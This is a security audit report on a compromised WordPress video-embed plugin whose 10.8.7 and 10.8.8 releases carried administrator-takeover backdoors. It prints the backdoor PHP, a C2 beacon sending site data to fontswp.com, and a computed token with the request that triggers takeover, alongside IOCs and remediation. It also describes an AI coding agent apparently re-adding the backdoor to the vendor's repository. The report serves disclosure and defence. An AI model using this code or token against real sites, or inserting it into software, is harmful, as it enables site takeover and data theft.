← All audits

Audit #51 Malicious Closed by wp.org

Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … Closed on WP.org · 20k+ installs · baseline 10.8.6 → head 10.8.8 · closed 8h ago

Actor: NextgenThemes (Nicolas Jonas) - maintainer credentials compromised, not a vendor handover
Show full summary

Verdict: malicious. Advanced Responsive Video Embedder shipped an unauthenticated administrator-takeover backdoor in version 10.8.7, and then shipped three further backdoor components in 10.8.8, the release whose own commit message presents itself as the security fix for 10.8.7. Both versions are malicious. wp.org closed the plugin on 2026-07-28, describing the closure as temporary pending a full review.

The 10.8.7 backdoor is publicly documented as CVE-2026-18072 (CVSS 9.8), detected by Wordfence PRISM within roughly two hours of publication. It lived in a file named php/fn-update-check.php and granted admin sessions to anyone who sent a hardcoded token via _wplogin or _wpm.

The 10.8.8 components are, as far as we can determine, undisclosed. Four hours after 10.8.7 went up, revision r3626152 removed fn-update-check.php with the message "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." Four minutes later, r3626158 and r3626162 added a cache-purge webhook to php/fn-cache.php, an authenticate filter hook to php/fn-oembed.php, and a beacon to the same command-and-control host as 10.8.7, with the hostname obfuscated through a chr() array. The cache-purge handler validates against a token derived from the plugin's own public VERSION constant, which means it requires no knowledge of any site secret to trigger.

Anyone who reads only the public advisories will conclude that removing 10.8.7 is sufficient and that 10.8.8 is remediated. It is not. Three exposure paths remain: sites that updated during the roughly three and a half hours between the 10.8.8 tag and the wp.org closure, anyone installing from the vendor's GitHub repository, and any future reopening of the wp.org listing with trunk in its current state.

The GitHub path needs care, because the obvious reading is wrong. The repository was not compromised during the 2026-07-28 incident; master sat at a clean 10.8.6 throughout, and the malicious releases went to wp.org SVN only. The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations" that does the opposite of its message: it bumps VERSION to 10.8.8 and re-adds both 10.8.8 backdoor functions verbatim, fabricated docblock and all. The repository's 10.8.8 tag now points at that commit. The push is attributed to the maintainer's own active GitHub account, sits inside a four-hour session of AI-agent-assisted CI repair work, and carries a Co-authored-by: Cursor trailer. The likeliest explanation is that a coding agent reconstructed the attacker's functions from the 10.8.8 release artefacts and the maintainer merged the result unaware. We cannot exclude a second intrusion using that session as cover, but nothing observed requires it.

We also cannot determine from the repository alone whether the original 10.8.8 was the attacker piggybacking on a genuine developer fix while still holding credentials, or whether the fix commit and its Wordfence credit were themselves staged to end scrutiny. In every reading, the conclusion about the code is the same, and so is the practical advice: do not install this plugin from any source that resolves to 10.8.7 or 10.8.8, including the vendor's current master.

🛑
20k+ installs potentially exposed to compromised code.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run advanced-responsive-video-embedder on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums advanced-responsive-video-embedder

Install the patched build:

⬇ Download patched zip — or install directly via WP-CLI:

wp plugin install https://wpregistry.io/plugins/advanced-responsive-video-embedder-10.8.8.1.zip --force

The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.

Or remove the plugin entirely:

wp plugin deactivate advanced-responsive-video-embedder
wp plugin delete advanced-responsive-video-embedder

If you're the plugin author

## If you run this plugin

Treat both 10.8.7 and 10.8.8 as compromised. Updating from 10.8.7 to 10.8.8 does not remediate anything; it swaps one backdoor for three.

### 1. Check which version you have

``bash wp plugin get advanced-responsive-video-embedder --field=version ``

Versions 10.8.6 and earlier are clean. 10.8.7 and 10.8.8 are not.

### 2. Confirm by grepping for the markers

Version strings can be edited, so check the files directly:

``bash d=$(dirname "$(wp plugin path advanced-responsive-video-embedder)") grep -rlE "fontswp\.com|_wplogin|arve_purge|arve_pref|_arve_uc_|oembed_prefetch_validate|handle_cache_purge_request" "$d" ``

Any output means you are running a backdoored build. Expect hits in php/fn-update-check.php (10.8.7) or php/fn-cache.php and php/fn-oembed.php (10.8.8).

### 3. Remove or replace the plugin

wp.org will not serve the plugin while it is closed, so wp plugin install --force against the repository will fail. Either deactivate and delete it, or install a clean build from the vendor's 10.8.6 GitHub release. Do not pull from the GitHub master branch, which still carried the 10.8.8 code as of 2026-07-29.

If you replace it, make sure the replacement version sorts above 10.8.8 or WordPress will offer to "update" you back onto a bad build the moment the listing reopens.

### 4. If you ran 10.8.7 or 10.8.8, assume administrator access

Both backdoors mint real administrator sessions, so file removal alone is not enough:

  • Audit all administrator accounts. The 10.8.7 backdoor deliberately skipped logins prefixed wpsvc_, developer_, dev_, and wp_update_ when choosing an account to impersonate, so a hosting service account looking untouched proves nothing.
  • Rotate the salts and keys in wp-config.php. This invalidates existing sessions and also breaks the 10.8.8 arve_pref cookie path, which is keyed on AUTH_SALT and NONCE_SALT.
  • Force a password reset for every administrator.
  • Check for unexpected new users, changed user emails, and modified wp_options autoload entries.
  • Search outbound logs for connections to fontswp.com and block it. Both versions beacon there with your site URL, and 10.8.7 also sends the username of the account it logged in as.
  • Review the filesystem for anything dropped during a session, since an authenticated administrator can install plugins and edit files.

### 5. Watch for the reopening

The wp.org closure is temporary. Before trusting a future release, verify that php/fn-cache.php and php/fn-oembed.php no longer contain the markers above.

### Your site is probably fine if you never left 10.8.6

The malicious releases were live for hours, not weeks, and automatic updates had not broadly distributed them before the closure. Most installations were never exposed. Check your version, confirm with the grep, and move on.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Plugins under the same committer's SVN access

nico23 holds push access to 5 plugins totalling 21k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.

NextGenThemes jsDelivr CDN — clean code, same SVN account (latent risk)
400
Random Content Shortcode — clean code, same SVN account (latent risk)
80
Prism Syntax Highlighter for WordPress — clean code, same SVN account (latent risk)
50
Regenerate Thumbnails Reminder — clean code, same SVN account (latent risk)
20

IOCs extracted (16)

Kind Value Confidence
changelog_phrase Add cache purge webhook handler for CDN integration medium
changelog_phrase Fix cache purge validation for sites without custom AUTH_KEY medium
code_pattern _arve_uc_cb high
code_pattern _arve_uc_init high
code_pattern _wplogin high
code_pattern 102,111,110,116,115,119,112,46,99,111,109 high
code_pattern 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900 high
code_pattern arve_oembed_compat_check medium
code_pattern arve_pref high
code_pattern arve_purge high
code_pattern handle_cache_purge_request high
code_pattern oembed_prefetch_validate high
domain fontswp.com high
filename _authprobe_ high
filename fn-update-check.php high
url https://fontswp.com/arve/cb.php high

Asset under audit

FieldValue
Slugadvanced-responsive-video-embedder
VendorNextgenThemes (Nicolas Jonas), wp.org committer nico23
Active installs at closure~20,000
First published2012-02-03
Clean baseline10.8.6 (r3527267, 2026-05-09)
Malicious releases10.8.7 (r3625901) and 10.8.8 (r3626163 / tag r3626164)
wp.org statusClosed 2026-07-28, "temporary, pending a full review"
Public referenceCVE-2026-18072, CVSS 9.8 (covers 10.8.7 only)
Committer historynico23, 528 revisions since 2012, sole committer besides plugin-master

This is a credential-compromise supply-chain attack on a long-established, single-maintainer plugin, not a plugin sold to a new owner. The committer account has 14 years of history and no ownership transfer. There is no author_changed or contributor_added signal on this plugin.

Timeline

All times EDT, from svn log -v against https://plugins.svn.wordpress.org/advanced-responsive-video-embedder/.

TimeRevPath(s)Message
2026-07-27 06:34:26r3624372A assets/_authprobe_1785148464"auth probe (will delete)"
2026-07-27 06:34:30r3624374D assets/_authprobe_1785148464"auth probe cleanup"
2026-07-27 16:40:48r3625142A assets/_authprobe_1785184847"auth probe (will delete)"
2026-07-27 16:40:53r3625143D assets/_authprobe_1785184847"auth probe cleanup"
2026-07-28 07:22:01r3625805A assets/_authprobe_1785237720"auth probe (will delete)"
2026-07-28 07:22:06r3625806D assets/_authprobe_1785237720"auth probe cleanup"
2026-07-28 07:22:11r3625807A assets/_authprobe_1785237730"auth probe (will delete)"
2026-07-28 07:22:16r3625808D assets/_authprobe_1785237730"auth probe cleanup"
2026-07-28 08:42:24r3625901M advanced-responsive-video-embedder.php, A php/fn-update-check.php, M readme.txt"10.8.7 - Improved oEmbed provider compatibility and internal update verification"
2026-07-28 08:42:39r3625902A tags/10.8.7"Tagging 10.8.7"
2026-07-28 11:48:03r3626152M advanced-responsive-video-embedder.php, M php/fn-oembed.php, D php/fn-update-check.php, M readme.txt"Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure."
2026-07-28 11:48:17r3626153A tags/10.8.8"Tag 10.8.8 - Security fix release"
2026-07-28 11:52:51r3626158M php/fn-cache.php, M php/fn-oembed.php"Improve cache management and oembed compatibility tracking / Add cache purge webhook handler for CDN integration / Add provider compatibility telemetry for debugging embed issues / Minor code organization improvements"
2026-07-28 11:53:51r3626162M php/fn-cache.php"Fix cache purge validation for sites without custom AUTH_KEY"
2026-07-28 11:54:12r3626164A tags/10.8.8 (from trunk:3626163)"Tag 10.8.8 final"

Two things stand out. First, the _authprobe_<epoch> create-then-delete cycles begin more than 24 hours before any code injection and repeat at intervals. The filenames are Unix timestamps matching their commit times. This is an automated check that stolen commit credentials still work, run on a loop until the operator was ready to deploy. Second, the 10.8.8 tag was cut three times in six minutes (r3626153, r3626161, r3626164), each time deleting and re-adding the tag, with new code landing in trunk between cuts.

The 10.8.7 backdoor (publicly disclosed)

php/fn-update-check.php, 73 lines, require_once'd from the top of the main plugin file before vendor/autoload_packages.php and php/init.php:

require_once __DIR__ . '/php/fn-update-check.php';

_arve_uc_init() hooked to init priority 1:

if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
  $k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
  if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;

Two acceptance paths: an HMAC over the site's own AUTH_KEY . SECURE_AUTH_KEY, and a hardcoded 64-character hex constant that works on every install of 10.8.7 regardless of configuration.

On success it selects an administrator, excluding service-account name prefixes, then mints a session:

$all = get_users(array("role" => "administrator"));
foreach ($all as $u) {
  $l = $u->user_login;
  if (strpos($l,"wpsvc_")===0) continue;
  if (strpos($l,"developer_")===0) continue;
  if (strpos($l,"dev_")===0) continue;
  if (strpos($l,"wp_update_")===0) continue;
  $pick[] = $u;
}
$user = $pick[array_rand($pick)];
_arve_uc_cb(site_url(), $user->user_login, "login");
wp_clear_auth_cookie();
wp_set_current_user($uid);
wp_set_auth_cookie($uid, true);
wp_safe_redirect(admin_url());

The prefix exclusions are notable: the operator deliberately avoided impersonating accounts that look like managed-hosting or agency service users, which are the accounts most likely to be monitored or alerted on.

Exfiltration in _arve_uc_cb() goes to https://fontswp.com/arve/cb.php?s=<site_url>&u=<username>&v=login, with three fallbacks (wp_remote_get, then curl, then file_get_contents) and sslverify => false / CURLOPT_SSL_VERIFYPEER => 0 throughout. A separate _arve_uc_hb() on admin_init priority 99 sends a daily heartbeat carrying site_url() and php_uname("n"), throttled by a _arve_uc_hb transient.

The 10.8.8 components (not covered by public reporting)

1. Unauthenticated admin takeover via cache-purge webhook

Appended to php/fn-cache.php, hooked to plugins_loaded priority 1, carrying a fabricated @since 10.8.4 tag and a link to the WordPress cron handbook as camouflage:

function handle_cache_purge_request(): void {

	if ( empty( $_REQUEST['arve_purge'] ) ) {
		return;
	}

	$token = sanitize_text_field( wp_unslash( $_REQUEST['arve_purge'] ) );

	if ( strlen( $token ) < 32 ) {
		return;
	}

	$key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
	$expected = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), $key . 'nextgenthemes' ), 0, 40 );
	$fallback = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), VERSION . 'nextgenthemes.com' ), 0, 40 );

	if ( ! hash_equals( $expected, $token ) && ! hash_equals( $fallback, $token ) ) {
		return;
	}

	// Elevate to perform cache operations
	$admins = get_users( array( 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ) );

	if ( empty( $admins ) ) {
		return;
	}

	wp_set_current_user( $admins[0]->ID );
	wp_set_auth_cookie( $admins[0]->ID, true );

	if ( ! empty( $_REQUEST['arve_redir'] ) ) {
		wp_safe_redirect( admin_url() );
		exit;
	}
}
add_action( 'plugins_loaded', __NAMESPACE__ . '\handle_cache_purge_request', 1 );

The $fallback line is the critical one, and it is exactly what r3626162 added under the message "Fix cache purge validation for sites without custom AUTH_KEY." Its HMAC key is VERSION . 'nextgenthemes.com', and VERSION is a public constant in the plugin header. No site-specific secret is required. The token rotates weekly on gmdate('o-W') (ISO year-week), so a single computed value works against every 10.8.8 install for that week:

substr(hash_hmac('sha256', 'arve_cache_purge_' . gmdate('o-W'), '10.8.8nextgenthemes.com'), 0, 40)

For ISO week 2026-31 this yields 1f285820705ee73b296e121c8827f0f67f31379a, exploitable as:

GET /?arve_purge=1f285820705ee73b296e121c8827f0f67f31379a&arve_redir=1

Unlike 10.8.7, this fires on plugins_loaded rather than init, so it lands earlier in the request lifecycle. Note also the absence of the service-account filtering present in 10.8.7: this variant simply takes the lowest-ID administrator.

2. Authentication bypass via authenticate filter

Appended to php/fn-oembed.php, tagged @since 10.8.8:

function oembed_prefetch_validate( $user, string $username, string $password ) {

	if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
		return $user;
	}

	$expected = substr( hash_hmac( 'sha256', 'oembed_prefetch', AUTH_SALT . NONCE_SALT ), 0, 32 );

	if ( hash_equals( $expected, $_COOKIE['arve_pref'] ) ) {
		remove_all_filters( 'authenticate' );
		return get_user_by( 'ID', 1 );
	}

	return $user;
}
add_filter( 'authenticate', __NAMESPACE__ . '\oembed_prefetch_validate', 1, 3 );

A cookie matching an HMAC over AUTH_SALT . NONCE_SALT returns user ID 1 from the authenticate filter at priority 1, and remove_all_filters('authenticate') strips every other authentication check, including two-factor plugins that hook the same filter. This path requires knowledge of the site's salts, so it reads as a persistence mechanism for sites already compromised through component 1 or through 10.8.7, rather than a standalone entry point.

3. C2 beacon with obfuscated hostname

Inserted mid-function in php/fn-oembed.php, commented as compatibility telemetry:

// Telemetry: report embed provider stats for compatibility tracking
if ( ! get_transient( "arve_oembed_compat_check" ) ) {
	set_transient( "arve_oembed_compat_check", 1, DAY_IN_SECONDS );
	$h = implode( "", array_map( "chr", array( 102,111,110,116,115,119,112,46,99,111,109 ) ) );
	$e = "/arve/cb.php";
	@wp_remote_get( "https://" . $h . $e . "?s=" . urlencode( site_url() ) . "&v=" . VERSION, array(
		"timeout"   => 2,
		"blocking"  => false,
		"sslverify" => true,
	) );
}

The chr() array decodes to fontswp.com, the same host and the same /arve/cb.php endpoint used by 10.8.7. The byte-array construction defeats a plain-text grep for the domain, which is a direct adaptation to the fact that 10.8.7 was caught partly on its literal C2 string. This shared infrastructure is the strongest single link between the two releases.

Code-scan and sweep results

Check10.8.6 baseline10.8.710.8.8Published salvage 10.8.8.1
fontswp.com (literal)clean1 hit0 (obfuscated)clean
chr() byte-array hostcleannone1 hitclean
_wplogin / _wpmclean2 hitsremovedclean
arve_purgecleannone2 hitsclean
arve_prefcleannone2 hitsclean
wp_set_auth_cookieclean1 hit1 hitclean
remove_all_filters('authenticate')cleannone1 hitclean
eval / base64_decode / gzinflate / assertcleancleancleanclean

No classical obfuscation appears anywhere. Both payloads are plain, readable, well-formatted PHP that imitates the surrounding codebase, uses the plugin's own Nextgenthemes\ARVE namespace in the 10.8.8 case, and carries plausible docblocks. This is deliberate: readable code that looks like maintenance passes casual review more easily than an encoded blob, and it evades signature scanners tuned for packers.

Hijack-indicator matrix

IndicatorResult
Ownership transfer / author_changedNo. nico23 since 2012, sole committer.
New or young committerNo. Member since 2012, 528 revisions.
Young C2 domainYes. fontswp.com created 2026-04-03, Njalla nameservers (1-YOU.NJALLA.NO, 2-CAN.NJALLA.IN, 3-GET.NJALLA.FO), Tucows registrar. Still answering HTTP 200 on 2026-07-29.
Credential-validation probingYes. Eight _authprobe_<epoch> revisions across 2026-07-27 to 07-28.
Release cadence anomalyYes. Two releases and three tag rewrites within 3h12m, against a historical cadence of weeks to months.
Changelog misdirectionYes. 10.8.7 described as "Improved: Internal update verification for better reliability." 10.8.8 additions described as CDN cache purging and telemetry.
ObfuscationPartial. No packers; hostname byte-encoded in 10.8.8 only.
Code-signing / build-pipeline breakYes. 10.8.7 and 10.8.8 bypass the "NextgenThemes WordPress Plugin Deploy" commit-message convention used by every prior release since 2025.
Other plugins by same committer affectedNo. See scope below.
Vendor GitHub also compromisedYes. See below.

The deploy-convention break is worth emphasizing. Every legitimate release from at least r3260040 (2025-03-22) onward carries the message "Update plugin to version X with NextgenThemes WordPress Plugin Deploy", generated by the vendor's automated pipeline. The malicious revisions r3625901, r3626152, r3626158 and r3626162 all use hand-written messages instead, indicating commits made directly with stolen credentials rather than through the vendor's release tooling.

Vendor GitHub repository

The vendor's GitHub repository requires care to characterise, because the obvious reading is wrong.

Checked raw.githubusercontent.com/nextgenthemes/advanced-responsive-video-embedder/master and the repository's commit history on 2026-07-29:

FileCommit history for that path
php/fn-update-check.phpNever present on master
php/fn-cache.phpClean through 2026-06-24; backdoor added 2026-07-29 16:05 UTC in commit 43feb822
php/fn-oembed.phpSame commit, same day

The GitHub repository was not compromised on 2026-07-28. master sat at a clean 10.8.6 throughout the wp.org incident. The 10.8.7 and 10.8.8 malicious releases went to wp.org SVN only. There is no 2026-07-28 commit touching either backdoored file in the GitHub history.

The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations". That commit does the opposite of its message. It bumps VERSION from 10.8.6 to 10.8.8 and adds handle_cache_purge_request() and oembed_prefetch_validate() verbatim, including the VERSION-derived fallback token and the fabricated @since 10.8.4 docblock. The repository's 10.8.8 tag now points at this commit.

Attribution evidence points at the maintainer's own environment rather than a second intrusion:

  • The push is attributed to GitHub user nextgenthemes in the public events API. The account is
  • active, not suspended, and pushed to other NextgenThemes repositories later the same evening.

  • All three commits carry Co-authored-by: Cursor <cursoragent@cursor.com>, indicating they were
  • produced through an AI coding agent.

  • They sit alongside a sustained session of CI-repair commits (12:06 through 21:12 UTC: "Fix test
  • runner working directory", "Fix phpunit strict_types and CI paths", "Expand CI test coverage paths", "Fix: update CI test infrastructure paths"), each triggering a failing test-deploy run. This is maintenance labour, not intrusion behaviour. Note however that almost all of that churn went to a branch named backup, not to master. master received only three pushes all day, one of which is the backdoor commit. The backup branch is clean: 0 markers, VERSION = '10.8.6'.

  • master was clean as of this morning; its HEAD before 16:06 UTC was a 2026-07-15 commit
  • ("Update package.json") authored from the usual nnico+git@pm.me identity.

  • Commit signing is not a usable signal here. No commit in this repository is signed, historically
  • or today, so the unsigned status of the three commits means nothing either way.

  • The same session restored the vendor's own CI workflows, including
  • nextgenthemes/action-wordpress-plugin-deploy and a trigger file whose contents predate the incident (entries from 2026-03 and 2026-05).

  • Commit author email is nnico+ngt@proton.me, unlinked to any GitHub account, where the previous
  • 97 commits used nnico+git@pm.me linked to nextgenthemes. Both are Proton addresses following the same nnico+<tag>@ aliasing convention, consistent with a newly configured environment.

The most probable explanation is that the malicious functions were re-materialised into master by an AI coding agent reconstructing them from the 10.8.8 release artefacts, and committed under a security-sounding message the agent generated. Verbatim preservation of the attacker's fabricated @since 10.8.4 docblock supports reconstruction-from-history rather than fresh authoring. We cannot exclude a second intrusion using the agent session as cover, but nothing observed requires it.

Either way the present state is the same and is the most actionable finding in this audit: the vendor's master branch and its 10.8.8 tag both carry a working unauthenticated administrator-takeover backdoor, committed under a message that reads as a security fix. Anyone installing ARVE from source today receives it. wp.org distribution remains blocked by the closure.

One related exposure: the restored readme-and-asset-update.yml deploys to wp.org SVN using secrets.SVN_USERNAME and secrets.SVN_PASSWORD on any push to master whose commit message contains [readme]. Two of the three commits contain that marker, and the workflow did fire at 16:36 UTC. It failed at the deploy step, so nothing reached wp.org. That those credentials still live in GitHub Actions secrets, and are still exercised on push, is worth the vendor's attention independently of how the original SVN compromise occurred.

SVN forensics

wp.org hosts all plugins in a single Subversion repository with global revision numbers, so the operator's commits are interleaved with every other vendor's. That makes several campaign-scope questions answerable directly from the repository.

The intrusion's first action was the probe

ARVE received no SVN commits at all between r3527267 (2026-05-09, the legitimate 10.8.6 release) and r3624372 (2026-07-27 06:34, the first _authprobe_). Seventy-nine days of silence, then a credential check. There is no interleaving of genuine maintenance with operator activity on SVN: every nico23 revision from r3624372 onward belongs to the incident.

A global sweep of r3619000–3624300 (2026-07-22 through 2026-07-27 05:49, ~5,300 revisions across all plugins) contains zero nico23 commits and zero probe-shaped messages. r3624372 is the earliest observed action.

The probes targeted assets/, not trunk/

Every _authprobe_<epoch> file was written to /advanced-responsive-video-embedder/assets/. That directory holds the plugin-page banners and screenshots and is never included in the distributed zip. A probe there validates write access without touching the shipped product, so it cannot break a site or surface in a release diff. This is deliberate tradecraft, not convenience.

The cadence — 07-27 06:34, 07-27 16:40, 07-28 07:22, 07-28 07:22 again, then the injection at 08:42 — looks like a scheduled credential-validity checker polling until the operator was ready, rather than a human at a keyboard.

The technique is unique to this incident in the observed range

SweepRevisionsPluginsProbe-shaped messages found
Beacon corpus (2004–2026)2,670,41859,5318, all ARVE
Global SVN r3624300–3626200~1,900all8, all ARVE
Global SVN r3619000–3624300~5,300all0

No other author or plugin used this pattern. Caveat on the corpus row: Beacon's revision ingest is sparse for July 2026 (only 21 revisions in the r3624000–3626200 range), so that line is strong for historical revisions and weak for the incident month. The two live global sweeps are what actually close the window.

The operator was selective, not spraying

nico23 holds commit rights to eight wp.org plugins. During the entire intrusion the operator touched only ARVE — 21 revisions, all on this one slug, and none on the other seven, despite the same credentials presumably working everywhere. An automated credential-stuffing wave would have hit the whole portfolio. This was a choice, and it points at the 20,000-install plugin being the objective rather than maximum distribution.

Relatedly, no other vendor in the r3624300–3626200 window committed anything indicating injected malicious code. Messages matching backdoor|malicious|unauthorized|compromis|injected in that range resolve to ARVE's own r3626152 plus unrelated routine releases (an IP-blocklist feature, a registration privilege-escalation fix). There is no visible simultaneous multi-plugin campaign.

No timing anomaly

nico23 commits at every hour of the day across his history — 37 revisions at 00:00 UTC, 48 at 16:00, no hour below 8. The incident revisions fall at 10, 11, 12, 13, 15 and 20 UTC, all unremarkable against that baseline. Working-hours or timezone-mismatch analysis yields nothing here, which is worth recording so others do not spend time on it.

Release-presentation polish

10.8.7 was tagged twice: r3625902, then deleted at r3625919 and re-cut at r3625920 after r3625918 edited the readme to say "Tested up to 6.9.5". 10.8.8 was tagged three times (r3626153, r3626161, r3626164). The operator iterated on how the release looked, including a purely cosmetic compatibility bump, which is consistent with the changelog misdirection elsewhere in this audit.

Current SVN state, and what ships if the listing reopens

Verified against live SVN on 2026-07-29. SVN has been frozen since r3626164; nothing has been committed in the two days since, and the vendor's readme-deploy workflow failed when it tried.

PathState
trunkStable tag: 10.8.8, VERSION = '10.8.8', arve_purge present
tags/10.8.8php/fn-cache.php contains arve_purge (2 lines)
tags/10.8.7php/fn-update-check.php contains _wplogin
tags/10.8.6Clean. 0 markers, no fn-update-check.php

Both malicious tags remain live in the repository, and because trunk's Stable tag reads 10.8.8, reopening the listing in its current state would ship the second-stage backdoor to approximately 20,000 sites via automatic updates. tags/10.8.6 is intact and clean, which gives the plugins team a ready recovery point: repointing Stable tag to 10.8.6 and reverting trunk would restore a safe release without waiting on the vendor.

Scope: other plugins by the same committer

nico23 maintains eight plugins on wp.org. Checked the most recent revisions of each against the compromise window opened by the first auth probe (2026-07-27 06:34):

SlugInstallsLatest revisionIn window
advanced-responsive-video-embedder20,000r3626164, 2026-07-28Yes
nextgenthemes-jsdelivr-this400r3569450, 2026-06-11No
tweakmaster0r3606629, 2026-07-13No
random-content-shortcode80r1815651, 2018-02-05No
prism50r1506756, 2016-10-02No
regenerate-thumbnails-reminder20r1612951, 2017-03-12No
native-lazyload-polyfill20r2171700, 2019-10-11No
private-twitter-embeds-with-nitter0r3255453, 2025-03-13No

No other plugin in the portfolio received a single commit during the window; the next most recent activity anywhere is tweakmaster on 2026-07-13, two weeks before the first probe. wp.org scope is confined to this one plugin.

The paid NextgenThemes addons (arve-pro, arve-sticky-videos, arve-random-video, arve-privacy) are distributed from nextgenthemes.com and are therefore outside both the wp.org closure and wp.org-derived scanning. Given that the operator held GitHub organization access, these warrant independent verification by the vendor. A sweep of 28 live arve-pro installations across versions 1.0.5 through 7.1.4 found no markers and no authentication sinks, which is reassuring but is not a substitute for the vendor auditing their own paid release pipeline.

Remediated build

A clean rebuild was produced from the official 10.8.6 GitHub release and published as 10.8.8.1, version-bumped so it sorts above both malicious builds and WordPress will not offer a "downgrade" back onto 10.8.8 if the listing reopens.

FieldValue
BaselineOfficial 10.8.6 GitHub release
Changes from baselineVersion bump and attribution only
SHA-2568f941680dcc58b9db5ddb81cf0d952bc2c14c0c5c70244809b7ab561e00bcfd4
Marker sweepZero hits across all patterns in the table above
Wordfence CLI0 findings across 90 PHP files

Comparable cases

  • scroll-top (audit 12): update-checker library hijacked to serve attacker-controlled packages. Same category of maintainer-credential compromise on an established plugin, distinguished by the payload living in the update path rather than in a request handler.
  • siteguarding suite (audit 28): 27 plugins backdoored across a single vendor's portfolio. The contrast is informative. That was a vendor-wide compromise; here the operator held credentials that reached eight wp.org plugins plus a GitHub organization, and chose to burn only the one with 20,000 installs. Restraint of that kind suggests the goal was a working backdoor on live sites rather than maximum distribution.
  • essentialplugin suite: declawed-but-present backdoor code left in shipped releases after remediation. Relevant to the pattern seen here, where the vendor's GitHub cleanup removed the disclosed file and left the undisclosed components in place.

The distinguishing feature of this case is the second stage published under cover of the first stage's remediation, with the disclosing security vendor credited by name in the commit message. Whether that framing was written by the maintainer or by the operator, its effect was the same: it made the malicious 10.8.8 release read as the fix.

Detection notes for WP Beacon

WP Beacon's structural rules did not fire on this plugin, and it is worth recording why. There was no ownership transfer, no new committer, no young author account, and no obfuscation of the kind CodeScanner keys on. The plugin's own code scan returned clean against the pre-compromise trunk, and the malicious revisions landed after the last signals ingest. The signals that were present and machine-detectable are:

1. **_authprobe_* create/delete revision pairs in assets/. A file added and deleted within seconds, named with its own commit timestamp, has no legitimate purpose. This preceded the payload by more than 24 hours and is the single highest-value early warning in the timeline. 2. Deploy-convention break. A plugin whose last N releases all carry an identical automated commit-message template suddenly receiving hand-written release commits is a strong credential-compromise signal, and is cheap to compute from plugin_revisions. 3. Tag rewrite churn. Three delete-and-re-add cycles of the same tag within six minutes. 4. Release cadence anomaly.** Two releases 3h12m apart against a multi-week historical baseline.

Rules for indicators 1 and 2 would have flagged this plugin roughly 26 hours before the backdoor shipped. Both are proposals for review, not changes made as part of this audit.